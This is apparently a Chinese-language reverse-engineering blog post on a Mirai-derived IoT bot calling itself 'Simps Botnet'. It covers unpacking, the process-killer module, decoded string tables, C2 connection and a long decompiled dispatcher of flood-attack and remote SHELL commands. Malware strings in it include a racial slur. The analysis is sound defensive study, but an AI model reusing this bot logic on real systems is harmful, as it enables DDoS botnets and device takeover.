Mirai

虽然Mirai很老了,但是类似学Windows病毒分析拿熊猫烧香练手一样,Linux病毒不逆个Mirai感觉不太对😅
现在很多僵尸网络,尤其是IOT病毒,是基于Mirai的变种,或者复用了部分代码。我觉得还是分析记录一下是有必要的。
新的家族或许黑产从业人士,可以很快的通过添加模块或者代码,改变通信方式,增加最新的漏洞利用,或者针对不同的设备类型。所以分析一下作为对比项,以后能较快的发现差异部分。
引用自安全牛

在攻击者眼中,IoT传感器就是完美僵尸网络节点:无处不在、联网、默认设置糟糕、软件漏洞成堆,而且人们很容易遗忘它们的存在。这些设备部署之后基本处于无人监管状态,既没有软件或固件升级,也不会打补丁。所以,网络罪犯开始利用IoT设备开展僵尸网络攻击行动不过是个时间问题。 Mirai僵尸网络就是首个大规模IoT僵尸网络案例

变种

Okiru、Satori、Masuta和PureMasuta等变体

  • Satori:Mirai的扫描功能用于远程代码注入攻击。
  • JenX bot:由Mirai进化而来,使用相似的代码,但去除了扫描和利用功能。
  • OMG bot:基于Mirai源代码添加了HTTP和SOCKS代理功能的新扩展。
  • Wicked:利用RCE漏洞感染Netgear路由器和CCTV-DVR设备。当发现存在漏洞的设备时,会下载并执行Owari bot的副本。

这两年我看安全厂商发布的Gafgyt家族挺多。

源码

Mirai源码

《xd0ol1 - Mirai 源码分析》

《绿盟 - MIRAI源码分析报告》

分析报告

《腾讯威胁情报中心 - Mirai僵尸网络利用弱口令爆破攻击上万台Linux服务器》

分析

查壳

用“Detect-It-Easy”等工具查壳,发现是UPX3.94:
Linux-僵尸 - Mirai-上 - 图1
此时如果在IDA里面打开,可以发现是无法静态分析的:
Linux-僵尸 - Mirai-上 - 图2

脱壳

UPX壳是简单的压缩壳,可以通过脱壳机进行脱壳。根据自己拥有的环境或者软件,Kali系统下使用upx -d命令脱壳:
Linux-僵尸 - Mirai-上 - 图3
此时在IDA里面打开,就是可以直接阅读的代码了,并且可以发现保留了符号表:
Linux-僵尸 - Mirai-上 - 图4

逆向分析

int 80H

第一个函数“getppid”获取父进程。

getpid = 获取进程
geippid = 获取父进程,多出的一个P就是Parent的缩写

先通过内联汇编int 0x80造成软中断,触发系统调用,就可以使用内核资源了:
Linux-僵尸 - Mirai-上 - 图5

Killer模块

第二个函数“killer_xywz”是Killer模块,用来杀死指定进程:
Linux-僵尸 - Mirai-上 - 图6

has_exe_access

获取/proc/tmp/exe下的符号链接所指文件:
Linux-僵尸 - Mirai-上 - 图7
如果从“has_exe_access”获取到符号链接所指文件,进入Killer的主要代码,否则退出:
Linux-僵尸 - Mirai-上 - 图8

  • readdir:遍历/proc下的进程文件夹;
  • readlink:获取进程所对应程序的真实路径;

Linux-僵尸 - Mirai-上 - 图9
查看数组knownBots的数据:
Linux-僵尸 - Mirai-上 - 图10
数据内容如下:

  1. 584D4E4E43504622
  2. 2F6465762F6D6973632F7761746368646F67
  3. 4E4B5156474C4B4C450256574C1222
  4. 4C4F4C4E4F4754464F
  5. 212A20445550
  6. 5453554E414D49
  7. 50414E20
  8. 7A6F6C6C617264
  9. 5245504F52542025733A
  10. 64767268656C706572
  11. 647672737570706F7274
  12. 6D69726169
  13. 626C616465
  14. 64656D6F6E
  15. 686F686F
  16. 68616B6169
  17. 7361746F7269
  18. 6D657373696168
  19. 6D697073
  20. 6D697073656C
  21. 737570657268
  22. 61726D7637
  23. 61726D7636
  24. 69363836
  25. 706F7765727063
  26. 69353836
  27. 6D36386B
  28. 7370617263
  29. 61726D7634
  30. 61726D7635
  31. 6B6F736861
  32. 796F796F
  33. 3434306670
  34. 6D696F7269
  35. 6E6967676572
  36. 6B6F77616973746F726D
  37. 6C6F6C6E6F6774666F
  38. 636F726F6E61
  39. 64757073
  40. 6D6173757461
  41. 626F746E6574
  42. 637261636B6564
  43. 736C756D70
  44. 737464666C6F6F64
  45. 756470666C6F6F64
  46. 746370666C6F6F64
  47. 68747470666C6F6F64
  48. 6368696E6573652066616D696C79
  49. 76737061726B7A7979
  50. 736861646F68
  51. 6F7369726973
  52. 6B6F776169
  53. 998F989C8F98D0CA8986859F8E8C868B988FC7848D838492EA
  54. 557365722D4167656E743A202573
  55. 4F4D564A4750
  56. 445741494750
  57. 4572726F7220647572696E67206E6F6E2D626C6F636B696E67206F70657261746

明显是以十六进制储存的字符串,为了方便阅读和理解,我将其转为ASCII码:

  1. XMNNCPF"
  2. /dev/misc/watchdog
  3. NKQVGLKLEVWL"
  4. LOLNOGTFO
  5. !* DUP
  6. TSUNAMI
  7. PAN
  8. zollard
  9. REPORT %s:
  10. dvrhelper
  11. dvrsupport
  12. mirai
  13. blade
  14. demon
  15. hoho
  16. hakai
  17. satori
  18. messiah
  19. mips
  20. mipsel
  21. superh
  22. armv7
  23. armv6
  24. i686
  25. powerpc
  26. i586
  27. m68k
  28. sparc
  29. armv4
  30. armv5
  31. kosha
  32. yoyo
  33. 440fp
  34. miori
  35. nigger
  36. kowaistorm
  37. lolnogtfo
  38. corona
  39. dups
  40. masuta
  41. botnet
  42. cracked
  43. slump
  44. stdflood
  45. udpflood
  46. tcpflood
  47. httpflood
  48. chinese family
  49. vsparkzyy
  50. shadoh
  51. osiris
  52. kowai
  53. ™˜œ˜Ðʉ†
  54. ŸŽŒ†‹˜Ç„ƒ„’ê
  55. User-Agent: %s
  56. OMVJGP
  57. DWAIGP
  58. Error during non-blocking operat

参数

  1. if ( argv[1] ) // 如果有参数
  2. {
  3. v3 = &argc;
  4. strcpy(&bot, argv[1]); // 参数是&bot
  5. }
  6. else
  7. {
  8. strcpy(enc_unk, "unknown"); // 否则&bot为“unknown”
  9. strcpy(&bot, enc_unk);
  10. }
  11. // 如果&bot的值为“x86_64、i586、mips、mipsel、armv4l、armv5l、armv6l、armv7l、powerpc、sparc、m68k、i686、sh4、hnap、realtek、huawei、11、archARM、xDLS、yarn、ThinkPHP”
  12. if ( strstr(&bot, "x86_64")
  13. || strstr(&bot, "i586")
  14. || strstr(&bot, "mips")
  15. || strstr(&bot, "mipsel")
  16. || strstr(&bot, "armv4l")
  17. || strstr(&bot, "armv5l")
  18. || strstr(&bot, "armv6l")
  19. || strstr(&bot, "armv7l")
  20. || strstr(&bot, "powerpc")
  21. || strstr(&bot, "sparc")
  22. || strstr(&bot, "m68k")
  23. || strstr(&bot, "i686")
  24. || strstr(&bot, "sh4")
  25. || strstr(&bot, "hnap")
  26. || strstr(&bot, "realtek")
  27. || strstr(&bot, "huawei")
  28. || strstr(&bot, "11")
  29. || strstr(&bot, "archARM")
  30. || strstr(&bot, "xDLS")
  31. || strstr(&bot, "yarn")
  32. || strstr(&bot, "ThinkPHP") )
  33. { // 保留其值为&bot
  34. strcpy(&bot, argv[1]);
  35. }
  36. else
  37. { // 不在列表中的值,将&bot值改为“unknown”
  38. strcpy(enc_unk_0, "unknown");
  39. strcpy(&bot, enc_unk_0);
  40. }
  41. puts("Infected By Simps Botnet ;)");

Infected.log文件

打开“Infected.log”文件写入一些日志信息:

  1. puts("Infected By Simps Botnet ;)");
  2. LogFile = (FILE *)fopen("Infected.log", 0x8056BA6);
  3. fwrite
  4. (
  5. "Thank You For Your Services.\r\n"
  6. "This Device Has successfully Been Infected\r\n"
  7. "With Malware By Simps Botnet ;)\r\n"
  8. "| instagram: @ur0a_ | Discord: UR0A#2199\r\n",
  9. 1,
  10. 149,
  11. (size_t)LogFile
  12. );
  13. fclose((int)v3, (int)LogFile);

getOurIP

  1. 根据域名向DNS服务器8.8.8.8查询IP(对应源码中的DNS Resolver / DNS解析器);
  2. 通过getsockname获取本机IP;
  3. 通过路由表获取到网关后,再调用ioctl获取和MAC:

    1. int getOurIP()
    2. {
    3. // 1.通过8.8.8.8的DNS服务器获取域名的IP
    4. sock = socket(AF_INET, SOCK_DGRAM, 0); // UDP
    5. if ( sock == -1 )
    6. return 0;
    7. *(_DWORD *)serv.sin_zero = 0;
    8. *(_DWORD *)&serv.sin_zero[4] = 0;
    9. serv.sin_family = 2;
    10. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
    11. serv.sin_port = htons(53); // 53端口 = DNS协议
    12. err = connect(sock, &serv, 16);
    13. if ( err == -1 )
    14. return 0;
    15. // 2.通过getsockname获取本机IP
    16. namelen = 16;
    17. err = getsockname(sock, &name, &namelen);
    18. if ( err == -1 )
    19. return 0;
    20. ourIP.s_addr = name.sin_addr.s_addr; // 保存获取到本机的IP
    21. //3.通过路由表的网关,获取MAC地址
    22. fileRoute = open("/proc/net/route", 0, v1, v2); // 3.1 打开路由表
    23. while ( fdgets((unsigned __int8 *)linebuf, 4096, fileRoute) ) // 3.2 读取路由表内数据
    24. {
    25. if ( strstr(linebuf, "\t00000000\t") )
    26. {
    27. for ( pos = (unsigned __int8 *)linebuf; *pos != 9; ++pos )
    28. ;
    29. *pos = 0;
    30. break;
    31. }
    32. memset(linebuf, 0, sizeof(linebuf)); // 3.3 获取网关
    33. }
    34. close(fileRoute);
    35. // 3.4 如果获取到的网关,调用“ioctl”获取MAC地址
    36. if ( linebuf[0] )
    37. {
    38. strcpy(&ifr, linebuf);
    39. ioctl(sock, SIOCGIFHWADDR, (int)&ifr, v3);
    40. for ( i = 0; i <= 5; ++i ) // 3.5 获取MAC
    41. macAddress[i] = ifr.ifr_ifru.ifru_addr.sa_data[i];
    42. }
    43. close(sock);
    44. return v4;
    45. }

    /proc/net/route路由表

    路由表内容如下:

    1. ┌──(root💀kali)-[~]
    2. └─# cat /proc/net/route
    3. Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT
    4. eth0 00000000 029FA8C0 0003 0 0 100 00000000 0 0 0
    5. eth0 009FA8C0 00000000 0001 0 0 100 00FFFFFF 0 0 0

    getOurIP函数中,通过strstr(linebuf, "\t00000000\t")获取的值,就是Gateway,为“029FA8C0”——一个以大端序保存的IP地址:Linux-僵尸 - Mirai-上 - 图11
    通过route -n命令显示和操作IP路由表可以查看Gateway的值确实是“192.168.159.2”:

    1. ┌──(root💀kali)-[~]
    2. └─# route -n
    3. Kernel IP routing table
    4. Destination Gateway Genmask Flags Metric Ref Use Iface
    5. 0.0.0.0 192.168.159.2 0.0.0.0 UG 100 0 0 eth0
    6. 192.168.159.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0

    【扩展】前置知识

    《Linux编程获取本机IP地址的几种方法》
    • ioctl();
    • getsockname();
    • getaddrinfo();
    • gethostbyname();
    • 通过getifaddrs();
    • 通过popen()调用ifconfig。

通过枚举网卡,API接口可查看man 7 netdevice

《ioctl获取本地IP和MAC地址》
  1. // 第二个参数不一样
  2. if (ioctl(sockfd, SIOCGIFADDR, &ifr) == 0)
  3. if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) == 0)

《主机字节序,网络字节序和IP地址的转换问题》

《主机字节序(大端/小端) 和 网络字节序》

字节序是指多字节数据的存储顺序,在设计计算机系统的时候,有两种处理内存中数据的方法:大端格式、小端格式。
网络协议指定了通讯字节序:大端。主机字节序是小端,所以才需要进行字节序转换。

在线转换工具

创建守护进程

创建一个标准的进程守护模型操作流程:

  1. fork() 进程,父进程退出 (必须)
  2. 子进程创建新的会话 (必须)
  3. 使用 setsid()
  4. 改变当前工作目录 chdir (可选)

比如,U 盘插在笔记本,运行 U 盘文件夹里面的可执行程序,然后拔掉,会有一些影响
重设文件掩码 (可选) 子进程会继承父进程的掩码 增加子进程程序操作的灵活性 umask(0) 关闭文件描述符 (可选) 节约资源,关闭此进程的 PCB 的文件描述符表中 0、1、2 三个,因为预警不需要和终端交互,故可关闭
执行核心工作 (必须) 你想让该守护进程干的事情
————————————————
版权声明:本文为CSDN博主「偕臧x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_33154343/article/details/105453850

IDA内显示如下:

  1. pid1 = fork();
  2. if ( pid1 )
  3. {
  4. waitpid(pid1, &status, 0);
  5. exit(0);
  6. }
  7. if ( fork() )
  8. exit(0);
  9. setsid();
  10. chdir((const char *)&aZyxwvutsrqponm[79]);
  11. signal(SIGPIPE, 1);

【正题到了】大While循环

一般木马或者其他需要保持网络通信或者接受C2指令的情况,主要的恶意代码都会放在While循环里。
大的While循环上面通常是一些准备操作,比如获取IP/用户名,环境准备(杀死进程等)。
大的While循环根据功能要求内部可能会有小的While循环来完成小的功能,比如需要保持(要保持所以循环)网络连接刷新C2指令。
简单的说,看到大的While循环就是正题了。

第1个小While——initConnection

函数名译为初始化连接——创建一个C2连接:

  1. _BOOL4 initConnection()
  2. {
  3. memset(server, 0, sizeof(server));
  4. if ( Simpsicsock )
  5. {
  6. close(Simpsicsock);
  7. Simpsicsock = 0;
  8. }
  9. if ( currentServer )
  10. ++currentServer;
  11. else
  12. currentServer = 0;
  13. strcpy(server, Simpsserv[currentServer]);
  14. port = 6982; // Mirai默认端口
  15. if ( strchr(server, ':') )
  16. {
  17. v0 = strchr(server, ':');
  18. port = atol(v0 + 1);
  19. *(_BYTE *)strchr(server, ':') = 0;
  20. }
  21. Simpsicsock = socket(AF_INET, SO_DEBUG, 0);
  22. return connectTimeout(Simpsicsock, (char *)server, port, 30) == 0; // 连接C2
  23. }

发送bot.id

建立连接后发送系统信息(“sockprintf(Simpsicsock, “%s”, bot.id);”),也就是系统架构,比如“x86_64”:

  1. int sockprintf(int sock, char *formatStr, ...)
  2. {
  3. va_start(va, formatStr);
  4. textBuffer = (unsigned __int8 *)malloc(2048);
  5. memset(textBuffer, 0, 2048);
  6. orig = (char *)textBuffer;
  7. print(&textBuffer, (const unsigned __int8 *)formatStr, va);
  8. orig[strlen(orig)] = 10;
  9. q = send(sock, orig, strlen(orig), 0x4000);
  10. free(orig);
  11. return q;
  12. }

第2个小While——接收数据

recvLine(Simpsicsock, (unsigned __int8 *)commBuf, 4096); // 从接口中接收数据

  1. // 仅放主要代码
  2. // select用于监视文件描述符的变化情况——读写或是异常
  3. selectRtn = select(socket + 1, &myset, 0, &myset, &tv);
  4. // 用于已连接的数据报或流式套接口进行数据的接收
  5. recv(Simpsicsock, &tmpchr, 1, 0)

遍历进程

  1. for ( i = 0; i < numpids; ++i )
  2. {
  3. if ( waitpid(pids[i], 0, 1) > 0 )
  4. {
  5. for ( on = i + 1; on < numpids; ++on )
  6. pids[on - 1] = pids[on];
  7. pids[on - 1] = 0;
  8. newpids = (unsigned int *)malloc(4 * --numpids + 4);
  9. for ( on = 0; on < numpids; ++on )
  10. newpids[on] = pids[on];
  11. free(pids);
  12. pids = newpids;
  13. }
  14. }

提取命令

  1. commBuf[got] = 0; // 提取命令
  2. trim(commBuf);
  3. message = (unsigned __int8 *)commBuf;
  4. if ( commBuf[0] == '.' )
  5. {
  6. for ( nickMask = message + 1; *nickMask != ' ' && *nickMask; ++nickMask )
  7. ;
  8. if ( *nickMask )
  9. {
  10. *nickMask = 0;
  11. nickMask = message + 1;
  12. for ( message += strlen((const char *)message + 1) + 2;
  13. message[strlen((const char *)message) - 1] == 10 || message[strlen((const char *)message) - 1] == '\r';
  14. message[strlen((const char *)message) - 1] = 0 )
  15. {
  16. ;
  17. }
  18. command = message;
  19. while ( *message != ' ' && *message )
  20. ++message;
  21. *message++ = 0;
  22. for ( tmpcommand = command; *tmpcommand; ++tmpcommand )
  23. *tmpcommand = toupper(*tmpcommand); // 把命令转为大写(为了更好匹配命令下发的代码
  24. paramsCount = 1;
  25. pch = strtok((int)message, 0x8056C26);// 分割命令字符串
  26. params[0] = command;
  27. while ( pch )
  28. {
  29. if ( *pch != 10 )
  30. {
  31. v9 = paramsCount;
  32. params[v9] = (unsigned __int8 *)malloc(strlen((const char *)pch) + 1);
  33. memset(params[paramsCount], 0, strlen((const char *)pch) + 1);
  34. strcpy(params[paramsCount++], pch);
  35. }
  36. pch = strtok(0, 0x8056C26); // 分割命令字符串
  37. }
  38. cncinput(paramsCount, params); // 命令模块
  39. if ( paramsCount > 1 )
  40. {
  41. for ( q = 1; q < paramsCount; ++q )
  42. free(params[q]);
  43. }
  44. }
  45. }

命令分发

cncinput,的cnc就是C&C(C2)的Command And Control,即命令与控制。简单的说就是命令模块~
这个函数内代码写的很规整,功能也很清晰。通过if+strcasestr对比字符串确认命令,进入命令对应的恶意代码逻辑:

  1. if ( strcasestr(*argv, "UDP") )
  2. {
  3. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  4. {
  5. ip_0 = argv[1];
  6. port = atol(argv[2]);
  7. time = atol(argv[3]);
  8. if ( strchr(ip_0, 44) )
  9. {
  10. for ( hi = strtok((int)ip_0, (int)","); hi; hi = strtok(0, (int)",") )
  11. {
  12. if ( !listFork() )
  13. {
  14. audp(hi, port, time, 32, 250, 10);
  15. exit(0);
  16. }
  17. }
  18. }
  19. else if ( !listFork() )
  20. {
  21. audp(ip_0, port, time, 32, 250, 10);
  22. exit(0);
  23. }
  24. }
  25. return;
  26. }
  27. if ( strcasestr(*argv, "SYN") )
  28. {
  29. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  30. {
  31. ip_1 = argv[1];
  32. port_0 = atol(argv[2]);
  33. time_0 = atol(argv[3]);
  34. if ( strchr(ip_1, 44) )
  35. {
  36. for ( hi_0 = strtok((int)ip_1, (int)","); hi_0; hi_0 = strtok(0, (int)",") )
  37. {
  38. if ( !listFork() )
  39. {
  40. atcp(hi_0, port_0, time_0, 32, "syn", 250, 10);
  41. exit(0);
  42. }
  43. }
  44. }
  45. else if ( !listFork() )
  46. {
  47. atcp(ip_1, port_0, time_0, 32, "syn", 250, 10);
  48. exit(0);
  49. }
  50. }
  51. return;
  52. }
  53. if ( strcasestr(*argv, "RST") )
  54. {
  55. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  56. {
  57. ip_2 = argv[1];
  58. port_1 = atol(argv[2]);
  59. time_1 = atol(argv[3]);
  60. if ( strchr(ip_2, 44) )
  61. {
  62. for ( hi_1 = strtok((int)ip_2, (int)","); hi_1; hi_1 = strtok(0, (int)",") )
  63. {
  64. if ( !listFork() )
  65. {
  66. atcp(hi_1, port_1, time_1, 32, "rst", 250, 10);
  67. exit(0);
  68. }
  69. }
  70. }
  71. else if ( !listFork() )
  72. {
  73. atcp(ip_2, port_1, time_1, 32, "rst", 250, 10);
  74. exit(0);
  75. }
  76. }
  77. return;
  78. }
  79. if ( strcasestr(*argv, "FIN") )
  80. {
  81. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  82. {
  83. ip_3 = argv[1];
  84. port_2 = atol(argv[2]);
  85. time_2 = atol(argv[3]);
  86. if ( strchr(ip_3, 44) )
  87. {
  88. for ( hi_2 = strtok((int)ip_3, (int)","); hi_2; hi_2 = strtok(0, (int)",") )
  89. {
  90. if ( !listFork() )
  91. {
  92. atcp(hi_2, port_2, time_2, 32, "fin", 250, 10);
  93. exit(0);
  94. }
  95. }
  96. }
  97. else if ( !listFork() )
  98. {
  99. atcp(ip_3, port_2, time_2, 32, "fin", 250, 10);
  100. exit(0);
  101. }
  102. }
  103. return;
  104. }
  105. if ( strcasestr(*argv, "ACK") )
  106. {
  107. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  108. {
  109. ip_4 = argv[1];
  110. port_3 = atol(argv[2]);
  111. time_3 = atol(argv[3]);
  112. if ( strchr(ip_4, 44) )
  113. {
  114. for ( hi_3 = strtok((int)ip_4, (int)","); hi_3; hi_3 = strtok(0, (int)",") )
  115. {
  116. if ( !listFork() )
  117. {
  118. atcp(hi_3, port_3, time_3, 32, "ack", 250, 10);
  119. exit(0);
  120. }
  121. }
  122. }
  123. else if ( !listFork() )
  124. {
  125. atcp(ip_4, port_3, time_3, 32, "ack", 250, 10);
  126. exit(0);
  127. }
  128. }
  129. return;
  130. }
  131. if ( strcasestr(*argv, "PSH") )
  132. {
  133. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  134. {
  135. ip_5 = argv[1];
  136. port_4 = atol(argv[2]);
  137. time_4 = atol(argv[3]);
  138. if ( strchr(ip_5, 44) )
  139. {
  140. for ( hi_4 = strtok((int)ip_5, (int)","); hi_4; hi_4 = strtok(0, (int)",") )
  141. {
  142. if ( !listFork() )
  143. {
  144. atcp(hi_4, port_4, time_4, 32, "psh", 250, 10);
  145. exit(0);
  146. }
  147. }
  148. }
  149. else if ( !listFork() )
  150. {
  151. atcp(ip_5, port_4, time_4, 32, "psh", 250, 10);
  152. exit(0);
  153. }
  154. }
  155. return;
  156. }
  157. if ( strcasestr(*argv, "TCPALL") )
  158. {
  159. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  160. {
  161. ip_6 = argv[1];
  162. port_5 = atol(argv[2]);
  163. time_5 = atol(argv[3]);
  164. if ( strchr(ip_6, 44) )
  165. {
  166. for ( hi_5 = strtok((int)ip_6, (int)","); hi_5; hi_5 = strtok(0, (int)",") )
  167. {
  168. if ( !listFork() )
  169. {
  170. atcp(hi_5, port_5, time_5, 32, "all", 250, 10);
  171. exit(0);
  172. }
  173. }
  174. }
  175. else if ( !listFork() )
  176. {
  177. atcp(ip_6, port_5, time_5, 32, "all", 250, 10);
  178. exit(0);
  179. }
  180. }
  181. return;
  182. }
  183. if ( strcasestr(*argv, "STD") )
  184. {
  185. if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )
  186. return;
  187. ip_7 = argv[1];
  188. port_6 = atol(argv[2]);
  189. time_6 = atol(argv[3]);
  190. if ( !strchr(ip_7, 44) )
  191. {
  192. if ( !listFork() )
  193. std(ip_7, port_6, time_6);
  194. return;
  195. }
  196. for ( hi_6 = strtok((int)ip_7, (int)","); hi_6; hi_6 = strtok(0, (int)",") )
  197. {
  198. if ( !listFork() )
  199. std(hi_6, port_6, time_6);
  200. }
  201. }
  202. if ( strcasestr(*argv, "RPE") )
  203. {
  204. if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )
  205. return;
  206. ip_8 = argv[1];
  207. port_7 = atol(argv[2]);
  208. time_7 = atol(argv[3]);
  209. if ( !strchr(ip_8, 44) )
  210. {
  211. if ( !listFork() )
  212. DNSw(ip_8, port_7, time_7);
  213. return;
  214. }
  215. for ( hi_7 = strtok((int)ip_8, (int)","); hi_7; hi_7 = strtok(0, (int)",") )
  216. {
  217. if ( !listFork() )
  218. DNSw(hi_7, port_7, time_7);
  219. }
  220. }
  221. if ( strcasestr(*argv, "OVH") )
  222. {
  223. if ( !listFork() )
  224. {
  225. v2 = atol(argv[3]);
  226. v3 = atol(argv[2]);
  227. ovhl7((char *)argv[1], v3, v2);
  228. exit(0);
  229. }
  230. }
  231. else
  232. {
  233. if ( strcasestr(*argv, "VSE") )
  234. {
  235. if ( argc <= 3 || (int)atol(argv[2]) <= 0 || (int)atol(argv[3]) <= 0 )
  236. return;
  237. ip_9 = argv[1];
  238. port_8 = atol(argv[2]);
  239. time_8 = atol(argv[3]);
  240. if ( strchr(ip_9, 44) )
  241. {
  242. for ( hi_8 = strtok((int)ip_9, (int)","); hi_8; hi_8 = strtok(0, (int)",") )
  243. {
  244. if ( !listFork() )
  245. {
  246. vseattack(hi_8, port_8, time_8, 32, 250, 1000, 100000, 0);
  247. exit(0);
  248. }
  249. }
  250. }
  251. else if ( !listFork() )
  252. {
  253. vseattack(ip_9, port_8, time_8, 32, 250, 1000, 100000, 0);
  254. exit(0);
  255. }
  256. }
  257. if ( strcasestr(*argv, "SHELL") )
  258. system((int)argv[1]);
  259. strcasestr(*argv, "KILL");
  260. if ( strcasestr(*argv, "PING") )
  261. sockprintf(Simpsicsock, "PONG NIGGA");
  262. if ( strcasestr(*argv, "DNS") )
  263. {
  264. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  265. {
  266. ip_10 = argv[1];
  267. port_9 = atol(argv[2]);
  268. time_9 = atol(argv[3]);
  269. if ( strchr(ip_10, 44) )
  270. {
  271. for ( hi_9 = strtok((int)ip_10, (int)","); hi_9; hi_9 = strtok(0, (int)",") )
  272. {
  273. if ( !listFork() )
  274. adns(hi_9, port_9, time_9);
  275. }
  276. }
  277. else if ( !listFork() )
  278. {
  279. adns(ip_10, port_9, time_9);
  280. }
  281. }
  282. }
  283. else if ( strcasestr(*argv, "LDAP") )
  284. {
  285. if ( argc > 3 && (int)atol(argv[2]) > 0 && (int)atol(argv[3]) > 0 )
  286. {
  287. ip_11 = argv[1];
  288. port_10 = atol(argv[2]);
  289. time_10 = atol(argv[3]);
  290. if ( strchr(ip_11, 44) )
  291. {
  292. for ( hi_10 = strtok((int)ip_11, (int)","); hi_10; hi_10 = strtok(0, (int)",") )
  293. {
  294. if ( !listFork() )
  295. adns(hi_10, port_10, time_10);
  296. }
  297. }
  298. else if ( !listFork() )
  299. {
  300. adns(ip_11, port_10, time_10);
  301. }
  302. }
  303. }
  304. else if ( strcasestr(*argv, "STOP") )
  305. {
  306. killed = 0;
  307. for ( i = 0; i < numpids; ++i )
  308. {
  309. if ( pids[i] )
  310. {
  311. v4 = pids[i];
  312. if ( v4 != getpid() )
  313. {
  314. kill(pids[i], 9);
  315. ++killed;
  316. }
  317. }
  318. }
  319. }
  320. }
  321. }

——————————休息一下——————————

感觉有点长,分开再写个《下》吧😅
——然后就没有然后了,我现在连样本都找不到

资料

《Understanding the Mirai Botnet》
《zheng_zmy - 中文版》
《uptycs blog - Gafgyt僵尸网络变种复用了Mirai代码》
《未然实验室 - Gafgyt家族物联网僵尸网络家族分析》
《安天-追影小组 - 僵尸网络GAFGYT家族分析》